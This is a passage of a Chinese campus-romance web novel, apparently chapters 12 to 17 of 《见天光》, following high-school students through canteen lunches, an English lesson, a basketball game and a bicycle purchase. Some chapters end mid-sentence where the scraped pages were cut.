身旁沸反盈天,少年掌心按在额心处,修长的指尖微微抓了抓头发,这些人的声音、模样、名字飞快地窜进了他的脑海里,成为磅礴记忆中不可抹去的存在。 陈恕在平行班呆了一个月,他原本想着重点班学习氛围更加浓重,同学之间的交集约莫也比较少,正合了他不太想与人交际的心思,哪知这才刚来,这些人的信息就塞在他的脑海里了。 他不接戏,这群人自己就把这场戏给唱下去了。 陈恕面无表情地收回看向身旁的视线,却正好撞上前方反身坐着的少女的目光,四目相对间,张期期灿然一笑。 陈恕:……麻烦。 上课铃声骤然响起,陈恕身旁鸟作兽散。 张期期起身,赶紧道:“陈恕,放学我们一起去食堂吃饭?” 说完,她也没有等陈恕回应,迅速溜回了自己的位置。 陈恕:…… * 上午最后一节课,张扬特意和其他科目的老师换了课。 张扬走到讲台前拍了拍桌面,“大家都知 12. 第 12 章 《见天光》全本免费阅读 - 京照一中这所学校不仅仅文学气氛韵浓,历史感更是厚重,不愧于是一所百年老校。然而张期期现在所在的校区是十年前政府和各大企业家共同出资、规划的。 新校区落成后,老校区所有的学生全部转移到了新校区,老校区也就日渐荒芜。 京照市初中生挤破头想要考上京照一中的原因,除了考进一中就相当于一只脚踏进了本科大学之外,还有便是京照一中第一饭堂的美味饭菜了。 美味到何种程度呢……就是微博上大V美食博主都会想尽办法溜进来打卡。 周嘉先的背影消失在教室前门时,张期期才笑着收回视线,她转头看向陈恕所在的位置时,才发现面前的人已经空了。 张期期目瞪口呆,惊疑道:“他、他人呢?” “谁?”许兰亭故意道。 “陈述啊!” “嘿嘿……刚刚从后门走了。”许兰亭笑着。 “你怎么不告诉我?”张期期气道,说着,她立刻往教室外追上去。 许兰亭看了一眼依旧坐在位置上埋头学习的林听一眼,眼底闪过黯然,他站在原地片刻,却始终没有勇气上前。 - 班里有个别的女学生是自己从家里带午饭过来的,侯蕊便是其中之一。 此刻她和几个同学仍然坐在教室里,想要等班里的同学全部离开教室后,她们才开始吃饭。 张期期追着陈恕而去的这一幕,侯蕊完全看在了眼里,她想起当年高一的时候,张期期对着她也是这副德行。 哼!死颜狗! 另外几名女同学憋着笑,她们看了一眼五官立体,美艳动人的浓颜系美女侯蕊,心底一派了然。 张期期颜狗的属性,一班无人不知,无人不晓。 想当初高一刚入学时,张期期对班里的同学九分热情,唯独对侯蕊是十分。但很可惜……侯蕊却最讨厌别人过分注意她的颜值,所以对张期期是爱搭不理的。 而他们班今天刚来的这位新同学,是不同于侯蕊的另一种“美色”。 几人眼底闪过“你知我知”、“只可意会不可言传”的默契。 * 京照市的初秋就像是夏天的尾气一样,午间的空气还是热乎的,快步走起来,没过一会儿额头便会有黏腻的湿感。 许兰亭抱着篮球,追上张期期,“不是吧?期期,你真要为了刚来我们班的陈恕,抛弃我这个十几年的饭搭子啊?你也太重色轻友了吧。” 男生说着话,指尖还一边运转着球。 张期期嫌弃地瞥了一眼,“我说你,吃饭怎么老次次带着这个球,干嘛啊,你这个球也要吃饭?” “哎,你终于注意到我这个球了,看到没,看到没?”许兰亭兴奋地指了指篮球上的签名,一脸得瑟,继续道:“看,国际篮球巨星签的名。羡慕吧?” 张期期哼笑一声,这笔走龙蛇的字体,还是英文,她还真看不出来签的什么名,“敬亭哥出差给你带的吧,他对你可真好,简直拿你当儿子养了。”……还把你养成一副铁憨憨的样子。 许兰亭闻言,眉眼一挑,听着也不生气,他坦然道:“我哥对我当然好。” 话到这里,他恍然又有几分失落,“我家也就我哥对我好了。” 张期期一瞬间不知道该说啥,她和许兰亭是从小一起长大的,他们都是京照市商圈家的孩子。出生在这样富裕的家庭里,他们的父母之间基本上都是商业联姻,双方没有感情只保持明面上的恩爱,实际上更是不干涉对方的私人生活。 许兰亭的父母自然也是如此,但他有个大他八岁的亲哥哥,许敬亭。 每次一提及家庭情况,张期期总会收到同圈好友羡慕的目光,因为她的父母是京照市商圈的例外。 她妈妈当年只是一个家境普通的戏曲表演者,却嫁入了商圈京照张家。十几年来,他爸在外没有任何绯闻,甚至连秘书都是男的,将“洁身自好”落实得非常彻底。 她父母的结合是商圈出了名的跨越阶层,恩爱非常的典型爱情案例。 张期期停住脚步,叹了一口气,伸手拍了拍许兰亭的肩膀,以示安抚。 “咦,不要用这种恶心的表情看我。”许兰亭嫌弃地怕掉张期期的手。 张期期气结,余光瞄到不远处走过来的女生,身形纤细,长发散散拢成一束侧在一边,走动间校服的裙摆微微晃动。 林听! “诶诶诶,你的小仙女。” 绚烂日光下,少女心无旁骛地走着,许兰亭猛然望过去,还真是林听。 张期期快速道:“加油,把握机会,我先走了。” 耽搁这么一会儿功夫,也不知道能不能追上陈述,张期期心想着,拔腿就跑起来。 少女的裙摆在阳光下飞起又下落,荡漾着青涩的弧度。 * 京照一中共有三个食堂,分别为第一学生饭堂,第二学生饭堂,还有教师职工食堂。三个食堂分布在学校望天湖的东位,西位和北位,南位是学校大门。 天鹅湖中央有数座设计巧妙的假山,湖中白色的鸭子慢悠悠地游动着。 “依山傍水,旭日东升”是校方致力于给学生创造的景色。 天鹅湖周围是一大片碧绿的草地,草地上延伸着一条铺着大理石石板的小路,路边那棵“独木成林”的榕树蜿蜒着、遮天蔽日般铺散开来。 张期期三步并作一步,跳跃在石板小台阶上,不远处的少年步伐疾而不乱。 “陈述!”张期期奔跑着过去,窜到了对方身旁。 少女发丝凌乱,气息不紊,脸颊漫上嫣红,眸光闪亮。 陈恕眉心微皱,下意识拉开距离,眼神疏离地看了张期期一眼。 “陈述,你怎么先走了呀,不是说好一起吃饭的吗?” “我记得我没有答应你。”陈恕淡淡回了一句,转身径直往前走。 “诶……” 小石板路只能容许一个人单独走着,两个人便太挤,张期期无法,这能亦步亦趋地跟在对方身后。 “诶,陈述,我听说你是这学期转过来的,你以前在哪所学校上学啊?” “你成绩这么好,就得来京照一中,不然那可太可惜了。” “诶,陈述,我对学校特别熟,吃完饭我带你转转,好不好啊?” “陈述……我……” “哎呦!” 张期期捂着额头,抬眼看向猛然停住脚步的陈恕,“你的背怎么那么硬,我撞到了。” 耳边回响着接连不断的嘈杂声,陈恕忍得额角跳动,他转身垂眼看着“恶人先告状”的少女,冷漠道:“你不跟着我,就不会撞到。” “哎呀,你刚来,肯定对学校不熟,我带你啊。” 陈恕:“我已经来一个月了。我是对新班级不熟悉,并不是对学校不熟悉。” 张期期瞬间哑口无言,脑海里转过一个个新借口。 陈恕突然问道:“你去哪个饭堂?” 闻言, 13. 第 13 章 《见天光》全本免费阅读 - 陈恕的身影消失在眼前,张期期这才转身看向许兰亭。 张期期:? “你怎么跑得满头大汗的?林听呢?” 许兰亭闻言,探头探脑地环顾了四周一圈,蓦然支起胳膊挡在脸侧,下颌朝右边轻抬,示意她看过去。 张期期循着视线望过去,林听正好从食堂的另一侧面拐进第二学生饭堂。 “你们没一起走?”张期期惊讶道。 “没。” 张期期:……“你不是说要当为爱冲锋陷阵的勇士吗?你这样子……像个鳖孙。” 许兰亭瞪了她一眼,随即变得颓然,“林听说,她和我根本就不是一路人。” 张期期叹气,拍了拍许兰亭的肩膀,语气充满遗憾:“节哀。” 说着她话音一转,“好了,你到底找我什么事?” “没什么事,过来和你一起吃饭。”许兰亭眼神飘忽不定。 张期期表示怀疑,但也没有多说什么,而是点点头,“那走吧。” - 第二学生饭堂的饭菜价格比较便宜,但相对来说确实没有第一学生饭堂好吃。 虽是如此,但京照一中三个年级加起来的人数相当多,导致饭菜味道稍逊一些的第一学生饭堂依旧是人满为患,每个窗口都排了很长的队。 …… 张期期点了一份“老鸭粉丝汤”后,托着餐盘眼神巡视着全场,到处找陈恕的身影。 饭堂内黑压压的,人头攒动,拥挤不堪,唯独远离空调口的地方有三个空位。 她学了很多年的绘画,对人体形态结构最为敏锐,所以哪怕陈恕此时是背对着张期期的,她还是一眼就看出来三个空位旁坐着陈恕。 “陈恕~你还真找到了座位?”张期期笑着将餐盘放下,坐在了陈恕对面的空位上。 陈恕抬头看了她一眼,点点头便继续吃饭,这一举动将张期期未尽的话语全部堵了回去。 张期期抿了抿嘴,低头吃饭。 许兰亭从刚才就一直跟在张期期的身后,此刻也打了声招呼坐在了陈恕身边的空位上,他眼神直勾勾地辗转在各个打饭窗口。 半响后,他眼神一亮,伸手戳了戳斜对面张期期的手臂。 张期期:“怎么了?” 许兰亭:…… 他伸手指了指张期期身后不远处的打饭窗口,张期期神色莫名,转头望过去。 林听。 张期期神色了然,转过头来继续吃饭。 许兰亭神色祈求地看着她,只差双手合十给她拜拜了。 张期期神色无奈,再次转身看向后方的林听,见对方一直托着餐盘,目光巡视全场找着空位置。 这个点,饭堂很难找到空位置,所以说刚才陈恕能找到位置,张期期还是蛮惊讶的。 张期期叹了一声,将筷子放下,对陈恕道:“陈述,我们班有个同学没找到位置,我去叫她过来。你等我一会儿。” 陈恕无言地顿了顿,不明白她为什么要和自己说,但还是点了点头。 许兰亭顿时笑开了花,张期期瞪了他一眼,穿过身后的几张饭桌,走到了林听身前。 “林听,你找不到座位吗?我们那还有一个空位,一起吗?”张期期指了指方向。 林听一愣,顺着张期期指尖所指的方向看过去,许兰亭笑着和她招手,仿佛对之前她说的话毫无芥蒂。 ……他都不生气的吗? 张期期小声道:“你不想搭理兰亭就不搭理,走吧,过去吃饭吧,都没有位置了,再等下去你的饭菜都要凉了。” 林听看了一眼饭堂的时钟,点头道:“好。谢谢你,期期。” “不用客气,大家都是同学。”张期期笑着,带着林听走过来。 接下来,张期期、陈恕、林听、许兰亭四人之间呈现了奇怪的氛围,饭桌上只有张期期、许兰亭说话,而陈恕、林听则偶尔点点头,表示他们听到了。 — 饭后,林听率先吃完离开,当陈恕托着餐盘站起来的时候,张期期连忙道:“我也吃完了,等等我。” 许兰亭埋头继续吃着。 “兰亭,我先走了。”张期期说了一声之后,拿着餐盘跟在陈恕身后,将餐盘放回到餐盘收纳点。 午后日头有些晒,校道上安安静静的,没几个学生。 陈恕看着身旁的张期期心中一时感到无奈,他走到转角阴凉的榕树下,“张期期,你还跟着我做什么?” 张期期眨了眨眼,“我没有跟着你啊,这不是顺路吗?” 陈恕:…… 他抿了抿唇,神色淡淡地看着眼前装无辜耍赖的张期期。 夏风吹拂,树冠微微晃动,金色的日光透过树冠洒下斑驳的光影。 张期期迎着陈恕的眼神,继续眨眼睛,眼底尽是坦荡,她丝毫不觉得心虚,甚至有恃无恐一般。 半响后,陈恕攥了攥指尖,无奈地移开视线,校道上铺洒了金色的光芒,一眼望去极为耀眼,就像他眼前的少女一样。 无所顾忌、肆意张扬……是和他完全不同的人。 陈恕:“你到底找我有什么事?” “好吧。”张期期眨了眨眼,笑着道:“我找你确实有事。” 她将昨天下午在公交台上看见他的事情告诉了对方。 陈恕皱着眉头,“然后呢?” 张期期心中盘算着一个计划,她没有先说出来,反而问道:“陈恕~我看你挺喜欢小猫的,怎么不养啊?那只小猫都跑了呢!” “……我养不养是我的事情,而且那只小猫也不是单独一只,它有家人。”陈恕看着张期期道。 张期期点点头,恍然大悟一般,继续道:“这样啊,不过你以后要是养小猫,要注意一些,小猫对淀粉的消化能力比较弱,像面包、米饭、馒头之类的东西不能给它吃。” 陈恕愣了一下,在那片曾经走也走不出去的大山里,猫、狗这样的动物是自己随便翻找东西吃的,它们若是能遇见好一点的主人,才能够吃上剩饭剩菜。 原来是他认知贫瘠了吗? 原来他的身上还烙印着那片大山的印记。 原来他仅能给出的那一半面包,就像是“甲之蜜糖乙之砒霜”。 陈恕垂下眼帘,攥紧了手心,就像明明一切都过去了,但命运的轮盘早已经改写,所有人都在向前走着,只有他、只有他被困在那一天里。 “啊,还有还有……猫猫饮食上不能缺水,它们需要足够的水分,猫猫清洁用品也需要定期洗刷,疫苗什么的也要接种……”张期期还在说着,眼神 14. 第 14 章 《见天光》全本免费阅读 - 皇家园林别墅。 张期期无奈地将筷子放下,她之前是脑抽了才问她爸,如何哄一个男生不生气……这不,她爸又在旁敲侧击地询问她在学校的人际关系,特别是和男生。 “爸,我都说了,是我不小心说了不好听的话,人家生气了!” 张世明双眉一挑,“人家男生还会生你的气?” 他看着妻子戚和风,语气惊讶,一副不信的样子:“居然有人会生我们家期期的气啊?” 戚和风笑了,她女儿的眼睛长得非常好看,又圆又大,眼底总是清澈的、灵动的,十七岁的女孩子脸庞稍稍圆润,肌肤健康红润。除了长相上,更令人灼目的是她似乎一直是情绪饱满的,张扬肆意的,生动活泼的,充满善意的。 张世明夫妻俩深知这样的女孩子在校园里,自是不会受到旁人的针锋相对,更何况他们的女儿背后还有整个张家。 父母神色揶揄,张期期手掌托着一侧脸颊,嘟嘟囊囊道:“我又不是人民币,哪里人人喜欢我呢!再说了,就连人民币都有人毫无兴趣呢!” 张世明:…… “诶,我不说了,爸妈我吃完了。”张期期一溜烟地上了五楼,独留她的父母面面相望后,无奈地笑了。 - 五楼的小阁楼上,张期期按开屋顶的大天窗。 夜色下月明星稀。月亮淡淡的光晕洒落下来,朦胧柔美。 她看向画架上摆放着的那张油画,恍若神明的少年抱着小猫,撑着黑伞,静静地伫立着路灯之下。他的面容是一片空白。 在画这张油画的时候,她并不知道油画上的少年是谁,不知道名字,不知道他从哪里来……所以这副油画大概率是会留在她自己手里的。 为了表示对人家的尊重,张期期并没有想画出他的面容。 但现在……对方是陈恕啊! 画架上的油画,她越看越觉得好看,这么好看的油画应该回到出镜人的手里。 张期期眼眸一亮,有了! 瓶瓶罐罐的颜料之间,少女拿着画笔的手飞快地在油画上涂抹着,她下笔毫不犹豫,堪称一蹴而就。很快,少年的面容就出现在油画上。 光影摇曳下,油画上的少年仿佛有了灵魂一般,站在路灯下静静地望着张期期。 - 夜色渐渐深沉,窗外的明月被乌云遮住。夏风吹拂进来,窗帘微微飘动,书桌前少女埋头笔耕不辍。 十一点钟了…… 张期期伸了个懒腰,然后将桌面上的试卷、习题、错题本等等统统塞入书包里。 小阁楼上的油画也已经干了,她小心翼翼地将油画取下来,卷成一卷,轻轻地放在书桌上。 赔礼道歉的礼物准备好了,她心中终于松了一口气。 张期期转身往浴室里去,伸手去解绑成一团的丸子头,昨夜熬夜太晚,她也就没有洗头,今晚不能再不洗了。 镜子里的少女微微低头,随后猛地一顿。 这……她头发上的这是什么东西?! 张期期看着镜子,伸手去摸,摩挲着一瞬后,这!这个颜色是她昨晚画画调出来的颜色!她画画,颜料都甩到头发上去了? 此时,陈恕那声“脏兮兮”恍然萦绕在耳边…… 脏兮兮…… 她可不就是脏兮兮的吗?张期期大叫一声,捂住了脸,这也太尴尬了吧! * 第二天早上,张期期踩着点走进教室时得到了英语老师洪玲的“久久凝视”。班上的同学纷纷向她投去“自求多福”的眼神。 张期期抬手将卷成轴的油画横着抵在自己的眼睛上方,挡住了来自洪玲怨念十足的眼神。 她蹑手蹑脚地在自己的座位处坐下,将书包里的试卷、本子等等轻轻放在桌上,小心翼翼地拿起一本英语课本竖立起来,将自己藏在课本后面,唯恐自己哪一点儿刺激到洪玲的神经。 天地良心啊! 张期期恨不得对天发誓,她真的真的对英语老师没有任何一点意见,她英语考得差和英语老师一点儿关系都没有! 今天的这节早自习是属于英语老师洪玲的,此时洪玲站在讲台上,重重地叹了一口气,叹得张期期头皮发麻。 洪玲:“我们班的同学啊,高二数学都能用大学高等数学的“拉格朗日”“洛必达法则”来解题了,英语呢,在树上,她都不晓得是用on还是in呢?” 许兰亭用笔轻轻点了点了张期期的肩膀,小声道:“汗流浃背了吧?” 张期期:……“闭嘴。” 班上“噗呲噗呲”的憋笑声此起彼伏。 闻声,陈恕不解地抬头,坐在最后排靠门位置的他凭借着地理位置的优势将班级里所有人的小动作看在眼里,只见这些人的目光都下意识地看向第三列第三排的张期期。 又是她……她做了什么?为什么总是能轻而易举地调动旁人的情绪? 陈恕抿了抿,再次垂下了眼帘,他默默地看着英文课本上的单词。 ……就连他的情绪,也是。 - 下课期间,语文课代表林听从办公室里将本班同学的成绩单拿了过来,成绩核对没有出错的话则在成绩单上签下名字。 当成绩单从前桌传到陈恕手里的时候,他核对过后在签名栏处签下了自己的名字。 一张A4纸就足够将全班四十一位学生的成绩排放在上面,陈恕签下名字时,鬼使神差地顺着往下看。 满满一页纸,他蓦然在其中一眼看到了张期期的名字,年级第十五名,以及“血淋淋”的英语88分……而她其他科目接近满分。 陈恕:…… 大概张期期就是他之前在十二班时听说过的“偏科之王”。 * 上午最后一节课是体育课。 京照一中体育课向来就有跑操的习惯,一节课前二十分钟用来热身加跑步了。 今日是大晴天,操场上晒得发烫,连一旁树上的叶子都似乎焉了吧唧的。 跑完操之后,高二一班的男生简直恨不得此刻能光着膀子,许兰亭更是一脑袋扎到了水头头下面,洗洗脸,把水泼在胳膊上降降温。 男生们在水龙头处打打闹着,许兰亭抹了一把脸道:“那边是国际班的学生,找他们打球去?” 周嘉先点点头,“行!走吧。” “难得啊,先哥居然要出手了!先哥出手,天下我有。” 周嘉先拍了拍许兰亭的脑袋,“好,那你先哥带带你。” “哈哈哈,少来。” - 京照一中的体育课是不允许回教学楼的,所以得知班里的男生们要和国际班的人打篮球赛,在小卖部坐着的女生三三两两地走回了操场上。 < 15. 第 15 章 《见天光》全本免费阅读 - 重点一班和国际班的球赛,最终以“十七:十三”,四分的差距,重点一班获胜。 张期期高兴地跳起来,狂拍着手掌心,“一班最棒啊!” 观众席上一班的女生们也高兴地鼓着掌,手上有多余瓶水的自觉地跑下去,给男生们递上水。 张期期后来才知道,原来她们班和国际班还打了赌,输的班级给赢的班级打扫一学期的卫生。 球场上。 许兰亭拉起衣服的领口,擦了擦脸上的汗珠,他偷偷望向观众席上,纤细身形的女生头也不抬地看着本子,大概在无声地背诵着什么吧。 他一瞬间觉得挫败极了,使劲表现的他仿佛跳梁小丑一般。 “兰亭。”国际班的陆向川拍了拍他的肩膀,他下巴微扬,点了点观众席上张期期的方向,问道,“期期身边的男生是谁啊?你们班的?” 陆向川的家也是在皇家园林别墅区,他们的父母之间互相或多或少有生意的来往,几人也能算是从小一起长大的发小了。 许兰亭循着望过去,“嗯,我们班的陈恕。” 陆向川哦了一声,又道:“要不叫上期期,放学后我请你们去外面吃饭?” 许兰亭这会儿心情正差着,“不了,下次吧,这次我就不去了。期期在那边,你可以约她去。” 陆向川:“好吧。” - 距离上午放学还有最后几分钟的时间,张期期整个人靠在椅背上,微微抬头看着头顶的榕树树冠。 金色的光影斑驳着落在她的脸上,她举起手挡在上方,手掌一挪开,光斑落在脸上,手掌挡住,光斑落在手上。 小小的光影,她也能玩得不亦乐乎。 陈恕看了一眼手上的油画卷轴,他抿了抿唇道:“在树上,on和in的区别是,当谈论一些事物只是停留在树上,并不代表树的一部分时,应当用in;而当提及树上原本就存在部分,比如花、树叶、果实等,则用on。” 这是他刚才反反复复在心中搭好的腹稿。 张期期简直“虎躯一震”,差点从椅子上滑下来,她瞪大双眼,抓狂道:“不是吧……陈恕!你怎么恩将仇报……我听到英文都要yue了!” 陈恕想笑,“现在你知道“在树上”要怎么用了吗?” “我不知道!别问我,救大命啊……”张期期一溜烟地跑了,仿佛后头有鬼追着她似的,嗯……应该是讲英语的鬼。 陈恕起身,望着阳光下“逃命”的少女,顿时忍俊不禁。 放学铃声响起,陆向川站在观众席上,隔着几排的座位看着张期期从男生的身边跑开。 陈恕…… 陆向川眼神微闪,然下一刻,他猝不及防地对上了对方平静的眼神。 陆向川勾起嘴角,点了点头。 陈恕收回目光,转身离开。 * 因着上午的最后一堂课是体育课,重点一班的学生拥有绝对的优势在放学铃声响起之后率先抢得第一饭堂的小酥肉。 平日里因为第一饭堂实在太拥挤而不得不去第二饭堂的一班学生们此时正大大咧咧地敞开坐着。 关宇嗷嗷叫道:“爽!今儿个老子就想这么敞开坐,一人坐两个屁股的位置。” 蒋文笑了一声:“大屁股!” 王思噗呲噗呲地笑着,“诶,还真是不错,咱们上回吃饭,一条板凳活生生挤着四个人的位置,不拿筷子的那只手都没得放桌面上。是不是啊?兰亭。” “吃饭吧,你们怎么那么多话。”许兰亭埋头扒着饭,懒得和他们回忆曾经四个人挤在一条板凳上,屁股挨着屁股,彼此之间热乎乎的感觉。 正吃着饭,许兰亭突然觉得眼前一晃,左右两边突然变得拥挤起来……关宇、蒋文、王思卡在他的左右两边,特么的他举着筷子的手都被挤得放不下来。 许兰亭:? ……“有病吧你们?” 关宇压低声音道:“快看、快看,兰亭~前面三点钟方向。” 许兰亭愣了一下,林听正托着餐饭找到位置坐了下来。 此时,关宇大声道:“唉!这实在太挤了啊!兰亭,你去别的位置坐吧。” 蒋文附和道:“是啊,我手都伸不出来夹菜了。” 王思推了推许兰亭,小声道:“快!快过去,问问林听你可不可以坐那里。” 许兰亭想起体育课上自己亢奋表现着,而她头都不抬一下的样子,顿时满是丧气,“算了,别过去打扰她了。” 王思压着嗓子急切道:“不是,你想想她平时都不来第一饭堂的,这次怎么来了?” 许兰亭眼神一亮,兴奋道:“难道是因为我?” 王思神色深沉,一副胸有成竹的样子。 “那行,我过去了。”许兰亭嗖地一下子站了起来,端着餐盘挪过去。 “咱们这么骗他,不好吧?”蒋文迟疑道。 王思惊讶,“咱们骗他什么了,我可什么都没说啊。” 关宇:……“王兄,还是你行。” 三人露出各自心领神会的表情。 张期期托着餐盘走过,见这三人怪模怪样的,她微微弯下腰,“你们三干嘛呢?” 关宇三人猛地一抖,瞬间抬头。 关宇:“期姐……” 他的话还没说完,张期期突然在他们面前的长凳上坐下,身子微微伏低,将关宇三人当遮挡物一样。 关宇:“不是……期姐,你躲谁呢?” 张期期小声道:“陈、恕。” 三人齐齐转头,果然饭堂门口走进来的男生就是陈恕。 蒋文震惊:“怎么了?期姐,难道新同学欺负你了?” 张期期露出一言难尽的神情,神色艰难,小声道:“不是,比这个更严重。” 什么!!关宇三人瞳孔震惊。 蒋文露出心痛的神情,期姐啊期姐,让你老是垂涎别人的美色,这下翻车了吧? 王思神色着急,“他到底干嘛了?” 张期期低下头,指节勾了勾,示意三人把耳朵靠过来。 四个头颅挤到了一起,张期期这才压着嗓子道:“陈恕他要教我学、英、语!” “多大仇多大恨啊!老实说,期姐你干了什么十恶不赦的大事吗?”王思睨着她道,重点一班的同学都知道张期期有多讨厌英语,简直到了闻英语色变的程度…… * 一整个下午,张期期坐在座位上乖顺无比,连身后许兰亭频频点她的肩膀,她都不曾转过身去,生怕与陈恕对上眼神。 许兰亭低声喊她,“期期……张期期?” 张期期头也不回,小声道:“别叫我。” 许兰亭无法,偷偷环顾四周,手轻悄悄地摸进书包里,他微低着头,在手机上戳戳点点。 「今天你别让李叔来接你了,陪我去买自行车。」 桌柜里突然发出手机震动的声音,张期期悄咪咪地摸出来看了一眼,随即将手背到身后比了一个“ok”的手势。 * 下午17点30分,京照一中 16. 第 16 章 《见天光》全本免费阅读 - 少年站在光影交接的门口,他的前方是宽敞明亮的专卖店,后方是昏暗拥挤的后仓,光影将他的面容割裂开来。 陈恕面色平淡地走出来,垂在身侧的手指却微微僵硬,手心沾染到的润链油十分黏腻,那并不是一张纸巾就能擦去的。 “嗯。我在这里兼职。”陈恕道。 店老板一听,嘴角的笑容顿时一收,穷鬼兼职生的朋友大概率也是穷鬼,意识到这一点儿后,他也懒得招待了,直接道:“你们认识啊?那正好,陈恕你带他们看一看。” 说完,他继续靠回了椅背上,开始刷着手机玩。 陈恕点头,“好”。 张期期寻思了下,这会儿陈恕正兼职着,总不会有时间又要教她学英语吧,这么一想,她心里顿时大大地松了一口气。 张期期小声道:“陈恕,你们老板推荐我们买这辆,嗯……你是不是比较懂?那这辆怎么样吗?行吗?” 陈恕看了一眼他们身旁摆放着的山地车,抿了抿唇,低声道:“不怎么样,这个牌子的车不太好,价格贵,刹车制动、变速系统、减震系统统统不太行,另外这个牌子线下门店很少,售后困难。” 张期期:…… 许兰亭:……“你老板准备坑我们?” 陈恕扫了一眼他们,这两人眼眸中如出一辙的“清澈愚蠢”,真是不坑他们坑谁啊。 张期期小声道:“那你给我们介绍一下?” 陈恕点头,边说边带着他们看,他将店里几个牌子的车分别介绍了一通,包括车子的尺寸、车架材质、前叉材质、刹车类型、车子速别等等。 张期期悄悄用手肘捅了捅一旁的许兰亭,低声道,“你听懂了没有,准备买哪一辆?” 许兰亭一愣,把头摇得像个二傻子。 陈恕:…… 在他看来,会专门到山地车专卖店买车的,一般都是骑行爱好者,对车子多多少少也是有些了解的。 “那你想买什么样的,你要是信得过我,我直接给你推荐性价比最高的那一辆。” 许兰亭一听,顿时笑了,“咱们是朋友,我当然信得过你。” 他伸手欲拍陈恕的肩膀,然而突然想起上次陈恕躲闪的那一幕,于是他的手顺势摸了摸后脑勺,丝滑无比。 许兰亭神色闪过片刻的扭捏,支支吾吾,“我想买……有后座的。要是万一林听的自从车坏了,我就可以载她。” 张期期眼眸一亮,“未雨绸缪、把握机会!” 许兰亭疯狂点头,“我也是这么想的。” 陈恕:…… “这里是山地车专卖店,你们知道吗?山地车……没有后座。” 张期期、许兰亭:啊? 两人面面相觑,张期期:“那我们进错店了?” 许兰亭啧了一声:“我以为这么大个店,应该啥都有的啊!” 陈恕沉默片刻,久违地感到无力,“倒也不是没有,店里有一辆,我搬出来你看看吧。” 陈恕从后仓中搬出了一辆普通的银白色自行车,后座有,前框也有。这辆车是他在后仓里面看到的。 许兰亭一眼就相中了,“这个好,够低调,刚刚店老板推荐的那辆我其实觉得太酷炫了。” 陈恕:……那辆也就颜值还不错,但来专卖店买车的都是懂车的,自然也知道那辆车就是花架子而已。 张期期:“那就这辆?” 许兰亭点头。 店老板看着推到他面前的银白车自行车,顿时傻眼了。 好半响之后,他终于想起来了,当年他听朋友提了一嘴山地车利润更高,还有专门的骑行圈子之后,就陆陆续续将普通自行车清空卖出去,改成山地车专卖店,而这一辆就是当时一直没卖出去的,后来堆在仓库,他自己都忘记了。 许兰亭掏出了二百五十买下了自行车。 店老板笑得眼睛都眯了起来,虽然没坑到这两学生,但把一直闲置的自行车卖出去了,他完全不亏。 此时天色已经暗沉,路灯亮起来了。 张期期笑着道:“陈恕,你什么时候下班?要不,我们一起去吃晚饭?” 少女笑意盈盈,不远处的路灯映照过来,她眼底闪烁着温暖的光芒。 “是啊!要不是你,我们就被坑了。”许兰亭也邀请他。 陈恕微微侧首,余光望了一眼身后的山地车专卖店,“不了,我没那么快下班。你们回去吧。” 张期期不死心,接着道:“真不去?” “嗯。” “那好吧。我们就先走了,明天学校见。”张期期挥手道。 - 许兰亭推着单车,张期期走在一旁,路灯的光芒将人的身影越照越长。才走出十米远,两人不约而同地顿了顿,一齐看向新买的自行车。 ……不是……都有自行车了,他们干嘛要走路? 许兰亭:“你载我。” 张期期:“你载我。” 二人异口同声。 许兰亭:“我不会。” 张期期:“我不会。” 二人同声一辞。 许兰亭震惊:“你不会?” 张期期惊讶:“你不会?” 二人一辞同轨。 再一次说出同样的话,张期期人都麻了,“我当然不会啊,你什么时候见我骑过单车啊!” 许兰亭表情同样无语:“那你又见我骑过单车?” 张期期:……“不是……你不会骑,你买单车?” 许兰亭一手扶着单车的把手,一手摸了摸后脑勺,“我可以学啊!” …… 最终两人在路边招了一辆出租车,出租车的后备箱关不上,只能敞开着,上面塞着一辆银白色的自行车。 陈恕站在专卖店门口,看着出租车呼啸而去,约莫十米的距离声音,他将张期期、许兰亭的这场闹剧看在眼里。 少年笑了一声,“两个傻子。” 陈恕转身回到专卖店,店老板看了他一眼,道:“干得不错,犄角旮旯里的库存都给你卖出去了!我给你点了一份饭,就当你今天的奖励了。” 陈恕微笑,“谢谢老板。” 平日里,他下班回家的路上会经过一家面包店,晚上九点多,当天面包店里没卖完的面包会低价出售,而那就是他一天的晚餐和第二日的早餐。 * 出租车开进皇家园林别墅区时,是晚上七点半了。 许兰亭付了车费后,司机才将后备箱的自行车扛下来,随后一踩油门离开了。 许兰亭推着自行车,边走边对张期期道:“唉,你居然不会骑自行车,那就只能等周末了,周末我得找个人教教我。” 从小就坐李叔的车的张期期:…… 无语片刻后,张期期突然双眼一亮,笑着说,“好机会啊!你可以让林听教你啊!” 17. 第 17 章 《见天光》全本免费阅读 - 书桌上的时钟滴答滴答地响着,在安静的夜晚里恍然放大了声音似的。 张期期哐当一下将笔甩在桌上,神色烦躁。 ……平日里她刷试卷、习题的时候从来都不觉得这个闹钟发出了声响,怎么今天这个闹钟的存在感这么强呢? 她看着桌子上铺着的英语周报试卷,整个人都麻了。横竖都写不下去,仔细学了半夜,才从密密麻麻的英文字母里看出来,这满满一张试卷都写着“烦人”。 哀叹一声,张期期又认命地拿起水笔继续埋头写着,好吧……至少要把“在树上on和in”的区别学会,虽然她会把这两个介词用错的原因并不在于她不知道怎么区别来用。 次日,张期期早上八点不到就已经坐在了教室里,这与她平日踩点到的习惯极为不同。 许兰亭走进教室后看见了正一脸痛苦背英语单词的张期期时,顿时大为惊奇,“期期,你今天怎么这么早到?还从良学英语了?” 张期期一脸幽怨地从书本中抬头,“老张最近的脊椎病好像又严重了,这几日的早读课你没发现都分给了其他科目的老师吗?” 周嘉先正好走进来听了一耳朵,“嗯……尤其是英语老师。” 张期期:…… “对啊!为了抚慰我们英语老师脆弱的心灵,我起码得装一装吧。” 许兰亭笑了,“骗谁呢?抚慰英语老师脆弱的心灵……你看我信吗?” 说着,他一边将书包塞进自己的桌柜,一边压低声音,下巴微抬,指了指最后一排后门处的陈恕,道:“我看是醉翁之意不在酒吧。” 他早就听关宇那个大嘴巴扒拉扒拉好几次了,说陈恕想教张期期学英语! 张期期闻言,拿了本书后将身子转过来,手肘支在许兰亭的桌面上,将书拍在许兰亭身上,“别说话。” 许兰亭熟练地捏着手指做出“嘴巴拉上拉链”的模样。 她手掌托着半边脸,看着教室后门口处坐姿端正的陈恕,早晨的阳光从走廊间倾斜过来,灿烂的阳光跳跃在他的身上,就像她之前画过的那幅画。 他看起来非常宁静、又或者说沉浸在自己的世界中…… 嗯,很美的“一幅画”,她又想动画笔了。 - 